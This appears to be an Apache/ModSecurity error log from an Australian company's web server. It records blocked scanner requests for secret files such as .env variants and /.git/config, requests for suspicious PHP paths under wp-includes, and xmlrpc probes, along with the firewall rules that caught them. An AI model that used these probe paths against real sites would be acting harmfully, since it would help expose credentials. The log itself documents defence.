[Thu Nov 27 05:22:09.829322 2025] [:error] [pid 6202:tid 6255] [client 4.235.105.13:13190] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aSdvgdJa7NTP0XPyZ6luawAAAFY"], referer: https://duckduckgo.com/
[Thu Nov 27 05:22:11.424288 2025] [:error] [pid 6290:tid 6316] [client 4.235.105.13:13248] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSdvg4qL4zye-zKr6suf0wAAANY"], referer: https://www.google.de/
[Thu Nov 27 05:22:13.356240 2025] [:error] [pid 6290:tid 6318] [client 4.235.105.13:13195] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aSdvhYqL4zye-zKr6suf1gAAANg"], referer: https://www.google.com/
[Thu Nov 27 05:22:15.329927 2025] [proxy_fcgi:error] [pid 21017:tid 21077] [client 4.235.105.13:13293] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Thu Nov 27 05:22:15.594671 2025] [proxy_fcgi:error] [pid 21017:tid 21062] [client 4.235.105.13:13293] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Thu Nov 27 05:22:15.878794 2025] [proxy_fcgi:error] [pid 21017:tid 21059] [client 4.235.105.13:13293] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Thu Nov 27 05:22:16.145442 2025] [proxy_fcgi:error] [pid 21017:tid 21078] [client 4.235.105.13:13293] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Thu Nov 27 05:22:16.414131 2025] [proxy_fcgi:error] [pid 21017:tid 21065] [client 4.235.105.13:13293] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Thu Nov 27 12:58:16.153977 2025] [:error] [pid 20859:tid 20911] [client 197.211.59.196:42245] [client 197.211.59.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.211.59.196, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aSfaaMdz0RxQsRyAhbSiGwAAAJU"]
[Thu Nov 27 12:58:16.197963 2025] [proxy_fcgi:error] [pid 20859:tid 20911] [client 197.211.59.196:42245] AH01071: Got error 'Primary script unknown'
[Thu Nov 27 14:26:09.229260 2025] [:error] [pid 4243:tid 4276] [client 13.213.16.131:32808] [client 13.213.16.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSfvAWPz-AlUVKLPDH4UfAAAAYM"]
[Thu Nov 27 14:26:14.801082 2025] [:error] [pid 4242:tid 4255] [client 13.213.16.131:33924] [client 13.213.16.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSfvBkupcyBxJ375CGG09QAAAQk"]
[Thu Nov 27 14:26:15.233023 2025] [:error] [pid 4209:tid 4233] [client 13.213.16.131:33984] [client 13.213.16.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "aSfvB7xtLQCs_pzrIiFqCQAAANY"]
[Thu Nov 27 14:26:15.637354 2025] [:error] [pid 8006:tid 8008] [client 13.213.16.131:34062] [client 13.213.16.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.remote"] [unique_id "aSfvBzOgrkglFlWNB8ymRAAAAEA"]
[Thu Nov 27 14:26:16.066663 2025] [:error] [pid 8006:tid 8027] [client 13.213.16.131:34128] [client 13.213.16.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "aSfvCDOgrkglFlWNB8ymRQAAAFM"]
[Thu Nov 27 14:26:16.460814 2025] [:error] [pid 4209:tid 4228] [client 13.213.16.131:34200] [client 13.213.16.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/vendor/.env"] [unique_id "aSfvCLxtLQCs_pzrIiFqCgAAANE"]
[Thu Nov 27 14:26:16.854384 2025] [:error] [pid 8006:tid 8024] [client 13.213.16.131:34276] [client 13.213.16.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/lib/.env"] [unique_id "aSfvCDOgrkglFlWNB8ymRgAAAFA"]
[Thu Nov 27 14:26:17.265885 2025] [:error] [pid 4242:tid 4265] [client 13.213.16.131:34348] [client 13.213.16.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/lab/.env"] [unique_id "aSfvCUupcyBxJ375CGG0-AAAARM"]
[Thu Nov 27 14:26:17.678985 2025] [:error] [pid 8006:tid 8010] [client 13.213.16.131:34436] [client 13.213.16.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/cronlab/.env"] [unique_id "aSfvCTOgrkglFlWNB8ymRwAAAEI"]
[Thu Nov 27 14:26:18.083785 2025] [:error] [pid 8006:tid 8011] [client 13.213.16.131:34528] [client 13.213.16.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/cron/.env"] [unique_id "aSfvCjOgrkglFlWNB8ymSQAAAEM"]
[Thu Nov 27 14:26:18.480600 2025] [:error] [pid 4242:tid 4248] [client 13.213.16.131:34598] [client 13.213.16.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/.env"] [unique_id "aSfvCkupcyBxJ375CGG0-gAAAQI"]
[Thu Nov 27 14:26:18.876572 2025] [:error] [pid 4243:tid 4290] [client 13.213.16.131:34684] [client 13.213.16.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/app/.env"] [unique_id "aSfvCmPz-AlUVKLPDH4U3QAAAZE"]
[Thu Nov 27 14:26:19.278293 2025] [:error] [pid 4301:tid 4318] [client 13.213.16.131:34776] [client 13.213.16.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/Datavase/.env"] [unique_id "aSfvCxyrk4csEk6bl8u7kgAAAA8"]
[Thu Nov 27 14:26:19.675616 2025] [:error] [pid 4242:tid 4268] [client 13.213.16.131:34862] [client 13.213.16.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/database/.env"] [unique_id "aSfvC0upcyBxJ375CGG0_AAAARY"]
[Thu Nov 27 14:26:20.069106 2025] [:error] [pid 8006:tid 8008] [client 13.213.16.131:34942] [client 13.213.16.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/.env"] [unique_id "aSfvDDOgrkglFlWNB8ymTAAAAEA"]
[Thu Nov 27 14:26:20.467837 2025] [:error] [pid 4209:tid 4218] [client 13.213.16.131:35026] [client 13.213.16.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/assets/.env"] [unique_id "aSfvDLxtLQCs_pzrIiFqDgAAAMc"]
[Thu Nov 27 15:19:54.245257 2025] [:error] [pid 23112:tid 23137] [client 54.215.213.47:45672] [client 54.215.213.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aSf7mq_0E_4aCc-JqT3BjAAAAFc"]
[Thu Nov 27 15:19:54.915154 2025] [:error] [pid 23997:tid 24014] [client 54.215.213.47:45818] [client 54.215.213.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "aSf7mkkaLLGuyYcUAcrCugAAAA8"]
[Thu Nov 27 15:19:55.585104 2025] [:error] [pid 23145:tid 23150] [client 54.215.213.47:45972] [client 54.215.213.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.local"] [unique_id "aSf7m3IgNR7UGAU0AxhJKAAAAUM"]
[Thu Nov 27 15:19:56.256451 2025] [:error] [pid 23997:tid 24000] [client 54.215.213.47:46110] [client 54.215.213.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.remote"] [unique_id "aSf7nEkaLLGuyYcUAcrCvQAAAAE"]
[Thu Nov 27 15:19:56.924622 2025] [:error] [pid 23112:tid 23129] [client 54.215.213.47:46264] [client 54.215.213.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.production"] [unique_id "aSf7nK_0E_4aCc-JqT3BjgAAAE8"]
[Thu Nov 27 15:19:57.596612 2025] [:error] [pid 23112:tid 23133] [client 54.215.213.47:46444] [client 54.215.213.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/vendor/.env"] [unique_id "aSf7na_0E_4aCc-JqT3BkwAAAFM"]
[Thu Nov 27 15:19:58.269924 2025] [:error] [pid 23112:tid 23116] [client 54.215.213.47:46584] [client 54.215.213.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/lib/.env"] [unique_id "aSf7nq_0E_4aCc-JqT3BlAAAAEI"]
[Thu Nov 27 15:19:58.940711 2025] [:error] [pid 23997:tid 24010] [client 54.215.213.47:46720] [client 54.215.213.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/lab/.env"] [unique_id "aSf7nkkaLLGuyYcUAcrCvgAAAAs"]
[Thu Nov 27 15:19:59.614117 2025] [:error] [pid 23997:tid 24023] [client 54.215.213.47:46866] [client 54.215.213.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/cronlab/.env"] [unique_id "aSf7n0kaLLGuyYcUAcrCwwAAABg"]
[Thu Nov 27 15:20:00.281320 2025] [:error] [pid 23997:tid 24009] [client 54.215.213.47:47022] [client 54.215.213.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/cron/.env"] [unique_id "aSf7oEkaLLGuyYcUAcrCxQAAAAo"]
[Thu Nov 27 15:20:00.953781 2025] [:error] [pid 23046:tid 23057] [client 54.215.213.47:47172] [client 54.215.213.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/core/.env"] [unique_id "aSf7oIKOZx26yRRhdLXZ2AAAAQU"]
[Thu Nov 27 23:10:15.021489 2025] [:error] [pid 24961:tid 24963] [client 34.23.90.75:64986] [client 34.23.90.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.23.90.75, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aShp129ifwHCHxglykranwAAAYA"]
[Thu Nov 27 23:10:15.034316 2025] [proxy_fcgi:error] [pid 24961:tid 24963] [client 34.23.90.75:64986] AH01071: Got error 'Primary script unknown'
[Thu Nov 27 23:10:17.442631 2025] [:error] [pid 24961:tid 24979] [client 34.23.90.75:64986] [client 34.23.90.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aShp2W9ifwHCHxglykratQAAAZA"]
[Thu Nov 27 23:10:17.865751 2025] [:error] [pid 23232:tid 23239] [client 34.23.90.75:54736] [client 34.23.90.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aShp2RiWQ0wMzrcP16qFmwAAAQU"]
[Thu Nov 27 23:10:18.300195 2025] [:error] [pid 24961:tid 24982] [client 34.23.90.75:61602] [client 34.23.90.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aShp2m9ifwHCHxglykratwAAAZM"]
[Thu Nov 27 23:10:18.730865 2025] [:error] [pid 5536:tid 5544] [client 34.23.90.75:49216] [client 34.23.90.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aShp2vUSQSfgGHTatIU9-wAAAcY"]
[Thu Nov 27 23:10:19.155174 2025] [:error] [pid 10320:tid 10346] [client 34.23.90.75:54131] [client 34.23.90.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aShp208q7wZgXS1zLNNyZQAAAJg"]
[Thu Nov 27 23:10:19.574980 2025] [:error] [pid 10286:tid 10307] [client 34.23.90.75:60061] [client 34.23.90.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aShp2yVrg1j9zg3A7w2RRgAAAFI"]
[Fri Nov 28 01:05:32.173147 2025] [:error] [pid 3968:tid 3981] [client 18.143.130.198:47046] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSiE3CCkRPBiCvBkrb1JkAAAAQs"]
[Fri Nov 28 01:05:32.566952 2025] [:error] [pid 3880:tid 3899] [client 18.143.130.198:47118] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSiE3BLsHNAClWGu1G6BYQAAAU8"]
[Fri Nov 28 01:05:32.959964 2025] [:error] [pid 3880:tid 3886] [client 18.143.130.198:47196] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "aSiE3BLsHNAClWGu1G6BZQAAAUI"]
[Fri Nov 28 01:05:33.352444 2025] [:error] [pid 3882:tid 3944] [client 18.143.130.198:47272] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev"] [unique_id "aSiE3eBkYoz3-AxCad-_DgAAAcY"]
[Fri Nov 28 01:05:33.745949 2025] [:error] [pid 3968:tid 3991] [client 18.143.130.198:47346] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.prod"] [unique_id "aSiE3SCkRPBiCvBkrb1JkwAAARU"]
[Fri Nov 28 01:05:34.137418 2025] [:error] [pid 3880:tid 3894] [client 18.143.130.198:47426] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.staging"] [unique_id "aSiE3hLsHNAClWGu1G6BaAAAAUo"]
[Fri Nov 28 01:05:34.535821 2025] [:error] [pid 4383:tid 4405] [client 18.143.130.198:47512] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development"] [unique_id "aSiE3sz_GFZW1PUriwnR7gAAAFQ"]
[Fri Nov 28 01:05:34.927438 2025] [:error] [pid 3881:tid 3922] [client 18.143.130.198:47598] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "aSiE3hcpoSIeot8NFmRY2QAAAAs"]
[Fri Nov 28 01:05:35.319159 2025] [:error] [pid 3881:tid 3918] [client 18.143.130.198:47662] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.test"] [unique_id "aSiE3xcpoSIeot8NFmRY3QAAAAc"]
[Fri Nov 28 01:05:35.715378 2025] [:error] [pid 3882:tid 3939] [client 18.143.130.198:47744] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "aSiE3-BkYoz3-AxCad-_EwAAAcE"]
[Fri Nov 28 01:05:36.105634 2025] [:error] [pid 3882:tid 3944] [client 18.143.130.198:47834] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env~"] [unique_id "aSiE4OBkYoz3-AxCad-_FwAAAcY"]
[Fri Nov 28 01:05:36.500181 2025] [:error] [pid 4383:tid 4387] [client 18.143.130.198:47934] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.sample"] [unique_id "aSiE4Mz_GFZW1PUriwnR9AAAAEI"]
[Fri Nov 28 01:05:36.898258 2025] [:error] [pid 3880:tid 3898] [client 18.143.130.198:48018] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "aSiE4BLsHNAClWGu1G6BdAAAAU4"]
[Fri Nov 28 01:05:37.291862 2025] [:error] [pid 3882:tid 3949] [client 18.143.130.198:48100] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.bak"] [unique_id "aSiE4eBkYoz3-AxCad-_HgAAAcs"]
[Fri Nov 28 01:05:37.684776 2025] [:error] [pid 4383:tid 4397] [client 18.143.130.198:48184] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "aSiE4cz_GFZW1PUriwnR_wAAAEw"]
[Fri Nov 28 01:05:38.078070 2025] [:error] [pid 3968:tid 3994] [client 18.143.130.198:48274] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.orig"] [unique_id "aSiE4iCkRPBiCvBkrb1JmAAAARg"]
